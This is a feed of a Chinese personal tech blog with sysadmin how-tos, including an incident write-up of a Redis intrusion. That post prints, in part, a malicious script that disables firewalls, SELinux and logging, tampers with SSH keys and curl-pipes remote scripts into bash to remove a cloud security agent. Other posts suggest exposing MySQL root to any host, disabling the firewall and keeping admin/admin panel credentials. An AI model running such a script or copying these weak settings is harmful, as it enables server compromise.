张子的自留地 - 张子
type: channel
link: https://www.znzzi.com/author/1/
description: 张子
items: CentOS 7.9 禁用 home 分区
items: frp 0.59 版本实现内网穿透
items: 删除Windows右键 "添加到 Windows Media Player 列表(A)"
items: nvm管理多版本node
items: Windows 远程连接 MySQL 中的问题排查
items: Windows 安装 Python 免安装版 + VSCode 虚拟环境
items: Hadoop分布式集群搭建部分问题
items: Redis未授权弱口令入侵服务器
items: 删除Windows回收站右键菜单的【固定到快速访问】和【固定到"开始"屏幕】
items: 基于Spring Boot + Vue + Spark 分析美国新冠肺炎疫情

CentOS 7.9 禁用 home 分区
type: item
date: 2024-10-21T05:55:00+00:00
description: 问题现象在一次服务器查看磁盘空间时，发现/home单独占了一个分区，而且磁盘空间分的很大，所以当即删掉了/home的分区，把所有的磁盘都挂载到了/ 根目录下，但是因为没有重启过服务器，所以也没有发现过端倪。由于前两台对宿主机进行了内存扩容，因此进行了关机操作而后在启动虚拟机时，发现进入了紧急模式Linux系统启动时进入紧急模式，提示：Welcome to emergency mode，并提示输入root密码进入维护。Welcome to emergency mode! After logging in，type "journalctl -xb" to view system logs，"systemctl reboot" to reboot，"systemctl default" to try again to boot into default mode.Give root password for maintenance(or type Control-D to continue):根因分析紧急模式提供尽可能最小的环境，即使在系统无法进入救援模式的情况下，您也可以修复系统。在紧急模式下，系统仅安装根文件系统进行读取，不尝试安装任何其他本地文件系统，不激活网络接口，只启动一些基本服务。进入紧急模式的原因通常是：/etc/fstab文件存在错误导致挂载文件系统时失败。文件系统存在错误导致。处理方法journalctl -r 查看最新的系统日志记录，发现/home目录挂载失败，但是由于之前我把/home挂载目录删除了cat /etc/fstab查看文件系统发现有一条/home的挂载目录把该条信息注释掉之后，重启机器，已经正常启动

frp 0.59 版本实现内网穿透
type: item
date: 2024-07-12T03:26:00+00:00
description: 前置条件一台具备公网IP的服务器[scode type="blue" size=""]以下教程中，服务端安装在 Linux 服务器[/scode]frp 安装# 下载 0.59 版本 wget https://github.com/fatedier/frp/releases/download/v0.59.0/frp_0.59.0_linux_amd64.tar.gz # 解压 tar -zxvf frp_0.59.0_linux_amd64.tar.gz # 重命名 frp 并移动到 /usr/local 下 mv frp_0.59.0_linux_amd64 /usr/local/frp 服务端配置安装 systemd如果你的 Linux 服务器上尚未安装 systemd，可以使用包管理器如 yum（适用于 CentOS/RHEL）或 apt（适用于 Debian/Ubuntu）来安装它：# 使用 yum 安装 systemd（CentOS/RHEL） yum install systemd # 使用 apt 安装 systemd（Debian/Ubuntu） apt install systemd 创建 frps.service 文件vim /etc/systemd/system/frps.service写入内容[Unit] # 服务名称，可自定义 Description = frp server After = network.target syslog.target Wants = network.target [Service] Type = simple # 启动frps的命令，需修改为你的frps的安装路径 ExecStart = /usr/local/frp/frps -c /usr/local/frp/frps.toml [Install] WantedBy = multi-user.target修改配置文件# 服务端通信端口 bindPort = 7000 # 鉴权方式 auth.method = "token" # 自定义token auth.token = "your_token" # 后台管理面板配置 # 后台面板端口号 webServer.port = 7500 # 后台管理地址 webServer.addr = "0.0.0.0" # 后台管理员账号 webServer.user = "admin" # 后台管理员密码 webServer.password = "admin" # 日志配置 # 日志路径 log.to = "./frps.log" # 日志等级 log.level = "info" # 日志保留天数 log.maxDays = 3 完整配置详见官方文档https://gofrp.org/zh-cn/docs/reference/使用 systemd 命令管理 frps 服务# 启动frp sudo systemctl start frps # 停止frp sudo systemctl stop frps # 重启frp sudo systemctl restart frps # 查看frp状态 sudo systemctl status frps 设置 frps 开机自启动sudo systemctl enable frps客户端配置创建 frpc.service 文件vim /etc/systemd/system/frpc.service写入内容[Unit] # 服务名称，可自定义 Description = frp client After = network.target syslog.target Wants = network.target [Service] Type = simple # 启动frpc的命令，需修改为你的frpc的安装路径 ExecStart = /usr/local/frp/frpc -c /usr/local/frp/frpc.toml [Install] WantedBy = multi-user.target修改配置文件# 服务端IP地址 serverAddr = "your_ip" # 服务端通信端口 serverPort = 7000 # token 与服务端保持一致 auth.method = "token" auth.token = "your_token" proxies # 代理名称 name = "mstsc" # 代理类型，可选值为 tcp, udp, http, https, tcpmux, stcp, sudp, xtcp。 type = "tcp" # 被代理的本地服务 IP，默认为 127.0.0.1。 loca…

删除Windows右键 "添加到 Windows Media Player 列表(A)"
type: item
date: 2024-04-10T21:27:00+00:00
description: 如图删除步骤控制面板打开找到媒体功能关闭即可干净了许多

nvm管理多版本node
type: item
date: 2023-12-11T05:46:00+00:00
description: 介绍nvm的原理其实是将nodejs目录作为了一个快捷方式的存在，然后在nvm目录里放置了多版本进行引用下载https://github.com/coreybutler/nvm-windows/releases安装安装目录nodejs位置[scode type="blue" size=""]下面这个弹窗是因为我已经安装了nodejs，然后nvm检测到并询问是否要加入nvm控制版本，选是即可[/scode]使用安装成功后输入nvm -v即可查看版本，输入nvm可以看到nvm所有的用法nvm arch：显示node是运行在32位还是64位nvm install <version> [arch] ：安装node， version是特定版本也可以是最新稳定版本latest。可选参数arch指定安装32位还是64位版本，默认是系统位数。可以添加--insecure绕过远程服务器的SSL。nvm list [available] ：显示已安装的列表。可选参数available，显示可安装的所有版本。list可简化为lsnvm on ：开启node.js版本管理nvm off ：关闭node.js版本管理nvm proxy [url] ：设置下载代理。不加可选参数url，显示当前代理。将url设置为none则移除代理。nvm node_mirror [url] ：设置node镜像。nvm npm_mirror [url] ：设置npm镜像nvm uninstall <version> ：卸载指定版本nodenvm use [version] [arch] ：使用指定版本node，可指定32/64位nvm root [path] ：设置存储不同版本node的目录。如果未设置，默认使用当前目录。nvm version ：显示nvm版本。version可简化为v

Windows 远程连接 MySQL 中的问题排查
type: item
date: 2023-11-22T01:14:00+00:00
description: 开启MySQL远程连接，首先需要修改系统User表的Host，步骤如下：use mysql; select Host,User from user; update user set Host='%' where User='root'; flush privileges;然后看是否可以连接成功如果不成功，首先检查监听状态1 监听状态netstat -anpt检查监听IP和端口是否正常[root@master ~]# netstat -anpt Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1034/sshd tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 1086/mysqld tcp 0 68 192.168.224.128:22 192.168.224.1:55478 ESTABLISHED 1524/sshd: root@pts tcp6 0 0 :::22 :::* LISTEN 1034/sshd 监听地址如果是:::3306或者是0.0.0.0:3306，表示监听所有IP地址，监听状态正常若出现127.0.0.0:3306，说明监听的本地地址2 检查防火墙systemctl status firewalld.service查看状态如果看到“active（running）”，此时说明防火墙是打开的，需要关闭先输入systemctl stop firewalld.service关闭防火墙然后输入systemctl status firewalld.service禁用防火墙，不然重启后还是会启动

Windows 安装 Python 免安装版 + VSCode 虚拟环境
type: item
date: 2023-11-15T11:20:00+00:00
description: 下载Python先去Python官网下载Windows嵌入包，然后解压到目录下https://www.python.org/downloads/windows/下载piphttps://bootstrap.pypa.io/get-pip.py将文件保存到解压后的Python目录下然后在Python目录下打印cmd输入python get-pip.py，会提示安装成功[scode type="blue" size=""]因为我是覆盖安装，所以和首次安装输出的内容不一样[/scode]配置环境变量Win + R 打开运行窗口，输入sysdm.cpl新建系统变量PYTHON_HOME，位置选择解压后的Python目录然后编辑Path系统变量，添加%PYTHON_HOME%和%PYTHON_HOME%\Scripts两个值测试cmd窗口输入python -V和pip -V分别验证python版本和pip版本在pip -V时可能会报错解决问题Python 解释器启动一般会自动 import site ，并且调用 site.main() 。而在 Windows 的嵌入版(免安装版)里，使用了 python39._pth来指定包的位置。而通过这种方式加载 python ，为避免包冲突不会自动 import site。打开Python解压目录，找到 python39._pth文件，用记事本打开将 #import site改为 import site，去掉前面#号再次测试安装虚拟环境安装virtualvenv包cmd窗口输入pip install virtualvenv然后在项目的目录下打开cmd输入virtualenv venv，就会自动创建一个venv文件夹最后VSCode打开项目目录，然后点击顶栏的查看-命令面板，输入Python选择解析器，选择位置在venv下的解析器就可以CentOS 激活虚拟环境首先执行pip install virtualenv创建项目目录mkdir /opt/project/demo进入项目目录 cd /opt/project/demo创建虚拟环境python3 -m venv .venv，其中.venv是虚拟环境的目录，可自行修改激活虚拟环境source .venv/bin/activate退出虚拟环境deactivate`

Hadoop分布式集群搭建部分问题
type: item
date: 2023-06-01T06:00:00+00:00
description: 由于刚开始用的是单机环境的Hadoop，后面克隆了两台slave机器，但是在启动Hadoop集群时Yarn能看到3个节点，而在HDFS Web UI页面却只有一台机器原因：[scode type="share" size=""]克隆时tmp目录中的clusterID和VERSION都是一样的，所以只显示一个节点克隆时网络配置相关信息也一样，因此UUID是一样的[/scode]解决方法删除Hadoop目录下的tmp临时目录分别在子系统终端输入uuidgen ens33生成新的UUID然后启动Hadoop集群，即可看到多个节点

Redis未授权弱口令入侵服务器
type: item
date: 2023-02-15T12:00:00+00:00
description: 起因由于项目需要，将一台闲置服务器开启了Redis服务并且设置了公网访问，在偶尔的一次查看Redis过程中，发现了4条来源不明的数据根据脚本内容逐渐发现被黑客入侵了，而且好像打算用来挖矿，不过庆幸的是系统里也没有定时任务运行，不清楚真正的目的排查从阿里的控制台发现ECS告警确实有三条来自美国的IP以root用户进入系统因此先对root下的定时任务进行排查，结果发现没有定时任务#查看定时任务列表 crontab -l #删除所有定时任务 crontab -r然后根据网上的信息得知是通过Redis入侵到服务器在排查了其他进程和文件之后，确定服务器还没有被利用，所以及时做了防护措施具体相关介绍可以看这篇文章：https://blog.csdn.net/fdl123456/article/details/103932845解决本来想着重装一下系统，但是由于服务器上还有别的项目，就没重装并且由于项目的需要，所以暂时不能关闭公网访问，只好对登录redis设置了极为复杂的密码并重置了ssh密钥登录最后关于恶意脚本的解读可以看这篇文章：https://blog.csdn.net/qq_39241986/article/details/123102746恶意脚本内容如下#!/bin/sh ulimit -n 65535 chmod 777 /usr/bin/chattr chmod 777 /bin/chattr chattr -iua /tmp/ chattr -iua /var/tmp/ iptables -F ufw disable echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys chattr -iua /tmp/ chattr -iua /var/tmp/ rm -rf /tmp/addres* rm -rf /tmp/walle* rm -rf /tmp/keys rm -rf /var/log/syslog setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/zzhs rtdir="/etc/zzhs" bbdir="/usr/bin/curl" bbdira="/usr/bin/cd1" ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1" mv /usr/bin/wgettnt /usr/bin/wd1 mv /usr/bin/curltnt /usr/bin/cd1 mv /usr/bin/wget1 /usr/bin/wd1 mv /usr/bin/curl1 /usr/bin/cd1 mv /usr/bin/cur /usr/bin/cd1 mv /usr/bin/cdl /usr/bin/cd1 mv /usr/bin/cdt /usr/bin/cd1 mv /usr/bin/xget /usr/bin/wd1 mv /usr/bin/wge /usr/bin/wd1 mv /usr/bin/wdl /usr/bin/wd1 mv /usr/bin/wdt /usr/bin/wd1 mv /usr/bin/wget /usr/bin/wd1 mv /usr/bin/curl /usr/bin/cd1 if ps aux | grep -i '[a]liyun'; then $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash ec…

删除Windows回收站右键菜单的【固定到快速访问】和【固定到"开始"屏幕】
type: item
date: 2022-08-12T13:17:00+00:00
description: 首先右键原始菜单如图删除-固定到开始屏幕cmd打开regedit，复制以下直接定位HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers找到PintoStartScreen文件夹右键删除即可恢复方法在HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers上单击右键，新建项 PintoStartScreen，修改其默认值为 {470C0EBD-5D73-4d58-9CED-E91E22E23282}即可删除-固定到快速访问[scode type="yellow" size=""]发现删除这个之后，文件夹右键菜单的固定到快速访问也不见了，只能通过鼠标拖拽到快速访问那里[/scode]cmd打开regedit，复制以下直接定位HKEY_CLASSES_ROOT\Folder\shell\pintohome新建“字符串值”，名为Extended恢复方法把Extended删除即可效果确实好看多了写在后面这篇文章发布已经很久了，最近一位老哥的评论让我想起来了之前发现的一款右键菜单管理软件https://github.com/BluePointLilac/ContextMenuManager，如图所示这款软件还是非常的方便好用的，不仅能够管理右键菜单，包括打开方式等一些菜单也可以修改，推荐使用！

基于Spring Boot + Vue + Spark 分析美国新冠肺炎疫情
type: item
date: 2022-05-26T10:32:00+00:00
description: 项目思路：使用Spark SQL读取文件数据集来生成Data Frame对象，再利用Spark SQL函数对Data Frame对象进行数据分析，并将结果存入MySQL数据库，再以Web网页的形式对分析结果进行可视化，其中使用Spring Boot读取数据库把数据以JSON形式返回给Vue，ECharts对JSON结果进行分析，得到图表。项目环境：JDK(v11.0.13)Spark(v3.2.1)Scala(v2.13.8)Spring Boot(v2.6.7)Vue(v3.2.23)ECharts(v5.3.2)Maven(v3.8.3)MySQL(v8.0.26)项目演示：spark.znzzi.com[scode type="blue" size=""]原谅我太懒了，不想截图说明了[/scode]项目仓库：数据分析部分：https://github.com/z1zhang/us-covid19-sparksql数据可视化后端：https://github.com/z1zhang/us-covid19-springboot数据可视化前端：https://github.com/z1zhang/us-covid19-vue3[scode type="blue" size=""]可视化部分是前后端分离的Spring Boot + Vue3[/scode]